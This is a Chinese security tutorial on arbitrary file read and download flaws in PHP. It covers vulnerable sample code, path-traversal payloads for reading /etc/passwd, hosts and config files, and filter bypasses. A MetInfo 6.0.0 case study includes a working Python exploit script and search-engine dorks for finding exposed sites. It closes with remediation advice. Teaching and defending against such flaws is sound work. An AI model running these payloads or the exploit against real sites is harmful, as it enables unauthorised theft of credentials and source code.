任意文件读取

文章目录

  • 渗透测试漏洞原理
  • 任意文件读取
    • 1. 任意文件读取概述
      • 1.1 漏洞成因
      • 1.2 漏洞危害
      • 1.3 漏洞分类
      • 1.4 任意文件读取
        • 1.4.1 文件读取
        • 1.4.2 任意文件读取
        • 1.4.3 权限问题
      • 1.5 任意文件下载
        • 1.5.1 一般情况
        • 1.5.2 PHP实现
        • 1.5.3 任意文件下载
    • 2. 任意文件读取攻防
      • 2.1 路径过滤
        • 2.1.1 过滤../
      • 2.2 简单绕过
        • 2.2.1 双写绕过
        • 2.2.2 绝对路径
        • 2.2.3 使用..\
        • 2.2.4 设置白名单
    • 3. 任意文件读取挖掘
      • 3.1 手工挖掘
      • 3.2 经典案例(metlnfo_6.0.0_file-read)
        • 3.2.1 漏洞描述
        • 3.2.2 漏洞等级
        • 3.2.3 影响版本
        • 3.2.4 漏洞复现
        • 3.2.5 漏洞点分析
        • 3.2.6 深度利用
        • 3.2.7 修复建议
    • 4. 漏洞修复方案
      • 4.1 输入验证
      • 4.2 避免其他漏洞
      • 4.3 限定文件的访问范围

渗透测试漏洞原理

任意文件读取

1. 任意文件读取概述

一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。

  • 任意文件读取会造成(敏感)信息泄露:
  • 任意文件读取很多情况是由于其他漏洞引发的,如,RCE、目录遍历、文件包含等。
  • 任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。

任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。

1.1 漏洞成因

不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:

  • 存在读取文件的功能(函数),也就是说,Wb应用开放了文件读取功能:
  • 读取文件的路径客户端可控,完全控制或影响文件路径参数:
  • 没有对文件路径进行校验或者校验不严导致校验被绕过,
  • 输出了文件的内容。

1.2 漏洞危害

下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。

可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。

任意文件读取与下载重点关注的文件:

  • 源代码
  • 配置文件
  • 敏感文件
  • 日志文件

1.3 漏洞分类

  • 任意文件读取
  • 任意文件下载

1.4 任意文件读取

以PHP脚本为例子,有一些函数可以实现文件读取功能。

1.4.1 文件读取

读取文件的函数函数特点
readfile()直接读取文件内容
自带输出功能
feed()直接读取文件内容
需要输出读取内容
fread()打开文件
计算文件大小
读取文件
输出文件
关闭文件

函数具体介绍:PHP: Hypertext Preprocessor。

实验环境在phpstudy的www目录下创建一个file-read目录,在目录中创建一下php文件。

readfile:

// readfile.php
<?php$fp = "../phpinfo.php"; readfile($fp);
?>

image-20230831163503847

访问页面,查看页面源代码,读取成功。

image-20230831163532888

file_get_contents:

// file_get_contents.php
<?php$fp = "../phpinfo.php"; echo file_get_contents($fp);
?>

image-20230831163931880

访问页面,查看页面源代码,读取成功。

image-20230831163911619

fread:

// fread.php
<?php$fp = "../phpinfo.php";$f = fopen($fp,'r');		//打开文件$f_size = filesize($fp); 	//计算文件大小echo fread($f, $f_size); 	//读取文件内容并输出到页面上fclose($f);
?>

image-20230831164353800

访问页面,查看页面源代码,读取成功。

image-20230831164432437

1.4.2 任意文件读取

变量$fp,会捕获GET方式传递过来的filepath参数。

$fp = @$_GET['filepath'];

image-20230831164814684

image-20230831164805890

filepath客户端可控,并且没有经过校验,会造成任意文件读取漏洞。

?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php 
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts 
?filePath=../../../../../../etc/hosts

image-20230831164911981

1.4.3 权限问题

  • Windows + IIS + ASP/ASPX:低权限
  • Windows + Apache + php:高权限
  • Windows + Java:高权限
  • Linux + Apache + PHP:低权限
  • Linux + Nginx + PHP:不一定
  • Linux + Java:高权限

1.5 任意文件下载

1.5.1 一般情况

直接下载:例如图片另存为。

a标签下载:

<a href = './a.jpg'>IMG Download</a>

1.5.2 PHP实现

PHP文件下载实现过程:

  • 先读取文件
  • 在输出文件
  • 提供下载
// file-download.php<?php$fp = './a.jpg';header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>

1.5.3 任意文件下载

任意文件下载的条件:

  • 已知目标文件路径
  • 目标文件路径,客户端可控
  • 没有经过校验或校验不严格
$fp = $_GET['filepath'];

实验

<?php$fp = $_GET['filepath'];// header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>

image-20230831165850154

下载成功

image-20230831165930571

文件内容如下:
在这里插入图片描述

2. 任意文件读取攻防

2.1 路径过滤

2.1.1 过滤…/

<?php$fp = @$_GET['filepath'];$fp = str_replace("../","",$fp); readfile($fp);
?>

2.2 简单绕过

2.2.1 双写绕过

?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts

2.2.2 绝对路径

?filepath=c:/windows\system32\drivers\etc\hosts

2.2.3 使用…\

?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts

2.2.4 设置白名单

设置只能访问a,b,cPHP文件

<?php$fp = @$_GET['filepath'];if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php'){readfile($fp);}else{echo "Please stop!";}
?>

3. 任意文件读取挖掘

3.1 手工挖掘

从文件名上看从参数名上看
readfile.php
filedownload.php
filelist.php
f=
file=
filepath=
fp=
readfile=
path=
readpath=
url=
menu=
META-INF=
WEB-INF=
content=

3.2 经典案例(metlnfo_6.0.0_file-read)

下载链接:MetInfo历史版本与文件。

说明内容
漏洞编号
漏洞名称MetInfo 6.0.0 任意文件读取漏洞
漏洞评级高危
影响范围MetInfo 6.0.0
漏洞描述MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。
修复方案打补丁 升级 上设备

3.2.1 漏洞描述

MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

3.2.2 漏洞等级

高危

3.2.3 影响版本

MetInfo 6.0.0

3.2.4 漏洞复现

基础环境

组件版本
OSMicrosoft Windows Server 2016 Standard
Web ServerphpStudy 2016
MetInfo6.0.0

安装过程

image-20230831112202780

image-20230831112312476

访问页面

image-20230831112339968

漏洞点

/include/thumb.php

页面访问该路径

http://127.0.0.1/MetInfo_6.0.0/include/thumb.php

image-20230831114153339

使用bp抓包查看,bp是默认不抓图片的包,这里修改配置。

image-20230831113136239

将抓取到的数据包右键发送到重发器上。

image-20230831113306383

第一次测试

/include/thumb.php?dir=..././http/..././config/config_db.php

image-20230831113500433

第二次测试

/include/thumb.php?dir=.....///http/.....///config/config_db.php

image-20230831113523130

第三次测试

/include/thumb.php?dir=http/.....///.....///config/config_db.php

image-20230831113542697

第四次测试

/include/thumb.php?dir=http\..\..\config\config_db.php

image-20230831113627951

注意:

  • 此POC 仅适用于Windows 系统,Linux 下无效。
    • 因为输入的右斜线\在windows中作为目录的分隔符,而linux中不是。

3.2.5 漏洞点分析

漏洞点产生位置在thumb.php文件

image-20230831114511371

加载old_thumb类

image-20230831115812562

说明:这里的防守做两步判断

  • 将…/和./全部过滤为空。

  • if判断前四个字符必须是http,并且计算./的位置,也就是提交的dir变量中是否有./的出现,如果没有出现返回false。

  • readfile():任意文件读取函数

  • dir这个读取文件的路径客户端可控,但是不完全可控,限制可以被绕过。

3.2.6 深度利用

exp编写

import requests
import sysbanner = """
MetInfo 6.0.0___________.__.__           __________                   .___\_   _____/|__|  |   ____   \______   \ ____ _____     __| _/|    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | \/                 \/          \/     \/     \/      \/ Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
"""headers = {"User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}dir_list = ["..././http/..././config/config_db.php",".....///http/.....///config/config_db.php","http/.....///.....///config/config_db.php","http\..\..\config\config_db.php"
]def attack(host):vul = "/include/thumb.php"url = host + vulres = requests.get(url = url, headers = headers)if res.status_code != 200:print(f"[INFO] {vul} is Not Exists!")exit()print(f"[INFO] {vul} is Exists!")for param in dir_list:params = {"dir":  param }res = requests.get(url = url, params = params, headers = headers)print(f"[INFO] Test URL: {res.url}")if "<?php" in res.text:print("[RESULT] The target is vulnreable!")print(f"[RESULT]\n{res.text}")breakif len(sys.argv) < 2:print(banner)exit()host = sys.argv[1]attack(host = host)

image-20230831141903577

漏洞挖掘

指纹信息

传统搜索引擎

Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"

FOFA

app="metinfo"

ZoomEye

app:"MetInfo"
app:"MetInfo"+os:"Windows"

3.2.7 修复建议

  • 打补丁
  • 升级
  • 上设备

4. 漏洞修复方案

4.1 输入验证

  • 让web用户只能访问(读取),所需要的文件和路径。

4.2 避免其他漏洞

  • 不能有文件包含漏洞,目录遍历漏洞或其他漏洞。

4.3 限定文件的访问范围

让用户不能访问Web根目录以外的路径。

php.ini配置文件中,可以通过选项open_basedir来限定文件访问的范围

open_basedir = C:\software\phpstudy_pro\WWW

image-20230831171848343

实验

不做限定的情况:

image-20230831171805332

做限定的情况:

image-20230831171827238

但是这样还有读取到当前的配置文件。

image-20230831171951634

解决方式:所有的修复方案需要配合使用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/61954.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

字符设备驱动(内核态用户态内存交互)

前言 内核驱动&#xff1a;运行在内核态的动态模块&#xff0c;遵循内核模块框架接口&#xff0c;更倾向于插件。 应用程序&#xff1a;运行在用户态的进程。 应用程序与内核驱动交互通过既定接口&#xff0c;内核态和用户态访问依然遵循内核既定接口。 环境搭建 系统&#…

Maven 基础之安装和命令行使用

Maven 的安装和命令行使用 1. 下载安装 下载解压 maven 压缩包&#xff08;http://maven.apache.org/&#xff09; 配置环境变量 前提&#xff1a;需要安装 java 。 在命令行执行如下命令&#xff1a; mvn --version如出现类似如下结果&#xff0c;则证明 maven 安装正确…

【100天精通python】Day49:python web编程_web框架,Flask的使用

目录 1 Web 框架 2 python 中常用的web框架 3 Flask 框架的使用 3.1 Flask框架安装 3.2 第一个Flask程序 3.3 路由 3.3.1 基本路由 3.3.2 动态路由 3.3.3 HTTP 方法 3.3.4 多个路由绑定到一个视图函数 3.3.5 访问URL 参数的路由 3.3.6 带默认值的动态路由 3.3.7 带…

文件读取漏洞复现(Metinfo 6.0.0)

安装环境 安装phpstudy&#xff0c;下载MetInfo 6.0.0版本软件&#xff0c;复制到phpstudy目录下的www目录中。 打开phpstudy&#xff0c;访问浏览器127.0.0.1/MetInfo6.0.0/install/index.php&#xff0c;打开Meinfo 6.0.0主页&#xff1a; 点击下一步、下一步&#xff0c…

深入理解css3背景图边框

border-image知识点 重点理解 border-image-slice 设置的值将边框背景图分为9份&#xff0c;图像中间的舍弃&#xff0c;其他部分图像对应边框的相应区域放置&#xff0c;上右下左四角固定&#xff0c;border-image-repeat设置的是除四角外其他部分的显示方式。 截图来自菜鸟教…

【锁】定时任务推送数据-redission加锁实例优化

文章目录 redission 加锁代码-有问题优化代码看门狗是什么&#xff1f; redission 加锁代码-有问题 /*** 收货入库物料标签(包装码)推送接口** throws Exception*/public void synReceiveMaterialTags() throws Exception {String tag DateFormatUtils.format(new Date(), &qu…

spring事务详解

spring事务整体流程&#xff08;图画的不是很细节&#xff0c;但是大体流程体现出来了&#xff09; 一、EnableTransactionManagement工作原理 开启Spring事务本质上就是增加了一个Advisor&#xff0c;但我们使用EnableTransactionManagement注解来开启Spring事务是&#xff…

设计模式-迭代器

文章目录 1. 引言1.1 概述1.2 设计模式1.3 迭代器模式的应用场景1.4 迭代器模式的作用 2. 基本概念2.1 迭代器 Iterator2.2 聚合 Aggregate2.3 具体聚合 ConcreteAggregate 3. Java 实现迭代器模式3.1 Java 集合框架3.2 Java 迭代器接口3.3 Java 迭代器模式实现示例 4. 迭代器模…

打破数据孤岛!时序数据库 TDengine 与创意物联感知平台完成兼容性互认

新型物联网实现良好建设的第一要务就是打破信息孤岛&#xff0c;将数据汇聚在平台统一处理&#xff0c;实现数据共享&#xff0c;放大物联终端的行业价值&#xff0c;实现系统开放性&#xff0c;以此营造丰富的行业应用环境。在此背景下&#xff0c;物联感知平台应运而生&#…

BOM对MES管理系统的影响与作用

在建设MES管理系统中&#xff0c;BOM&#xff08;物料清单&#xff09;具有至关重要的作用。它提供了产品的组成部分和结构信息&#xff0c;支持生产过程的监控、协调和管理。本文将详细探讨BOM在MES管理系统中的影响和作用。 一、生产过程指导 BOM为MES系统提供了产品的组成部…

centos中得一些命令 记录

redis命令 链接redis数据库的命令 redis-cli如果 Redis 服务器在不同的主机或端口上运行&#xff0c;你需要提供相应的主机和端口信息。例如&#xff1a; redis-cli -h <hostname> -p <port>连接成功后&#xff0c;你将看到一个类似于以下的提示符&#xff0c;表…

哪吒汽车“三头六臂”之「浩智电驱」

撰文 / 翟悦 编审 / 吴晰 8月21日&#xff0c;在哪吒汽车科技日上&#xff0c;哪吒汽车发布“浩智战略2025”以及浩智技术品牌2.0。根据公开信息&#xff0c;主编梳理了以下几点&#xff1a;◎浩智滑板底盘支持400V/800V双平台◎浩智电驱包括180kW 400V电驱系统和250kW 800…

Ansible学习笔记5

copy模块&#xff1a;&#xff08;重点&#xff09; copy模块用于对文件的远程拷贝&#xff08;如把本地的文件拷贝到远程主机上。&#xff09; 在master的主机上准备一个文件&#xff0c;拷贝文件到group1的所有主机上。 这个用的频率非常高&#xff0c;非常有用的一个模块…

简单聊聊Https的来龙去脉

简单聊聊Https的来龙去脉 Http 通信具有哪些风险Https Http SSL/TLS对称加密 和 非对称加密数字证书数字证书的申请数字证书怎么起作用 Https工作流程一定需要Https吗&#xff1f; Http 通信具有哪些风险 使用明文通信&#xff0c;通信内容可能会被监听不验证通信双方身份&a…

lnmp架构-mysql2

4.mysql 组复制集群 首先对所有的节点重新初始化 因为对节点的数据一致性要求非常高 主从复制的时候 slave只会复制master的binlog日志 就是二进制日志 不会复制relay_log 在server1上 根据实际情况修改主机名和网段 log_slave_updateON 意思就是 当slave的sql线程做完之后…

【docker】docker的一些常用命令-------从小白到大神之路之学习运维第92天

目录 一、安装docker-ce 1、从阿里云下载docker-cer.epo源 2、下载部分依赖 3、安装docker 二、启用docker 1、启动docker和不启动查看docker version 2、启动服务查看docker version 有什么区别&#xff1f;看到了吗&#xff1f; 3、看看docker启动后的镜像仓库都有什…

趣味微项目:玩转Python编程,轻松学习快乐成长!

&#x1f482; 个人网站:【工具大全】【游戏大全】【神级源码资源网】&#x1f91f; 前端学习课程&#xff1a;&#x1f449;【28个案例趣学前端】【400个JS面试题】&#x1f485; 寻找学习交流、摸鱼划水的小伙伴&#xff0c;请点击【摸鱼学习交流群】 在学习Python编程的旅程…

【防火墙】防火墙NAT Server的配置

Web举例&#xff1a;公网用户通过NAT Server访问内部服务器 介绍公网用户通过NAT Server访问内部服务器的配置举例。 组网需求 某公司在网络边界处部署了FW作为安全网关。为了使私网Web服务器和FTP服务器能够对外提供服务&#xff0c;需要在FW上配置NAT Server功能。除了公网…

计算机毕设之基于python+echarts+mysql的图书馆可视化管理系统(文档+代码+部署教程)

系统阐述的是一款图书馆可视化管理系统的设计与实现&#xff0c;对于Python、B/S结构、MySql进行了较为深入的学习与应用。主要针对系统的设计&#xff0c;描述&#xff0c;实现和分析与测试方面来表明开发的过程。开发中使用了 django框架和MySql数据库技术搭建系统的整体架构…

WordPress主题Zing V2.2.1/模块化WordPress响应式通用企业商城主题

WordPress主题Zing V2.2.1&#xff0c;模块化WordPress响应式通用企业商城主题。 功能介绍 百度熊掌号文章实时推送、原创保护 多设备支持自适应布局&#xff0c;支持电脑、Pad、手机以及各种浏览器 SEO优化首页、文章、页面、分类均支持自定义标题、关键字和描述 速度优化…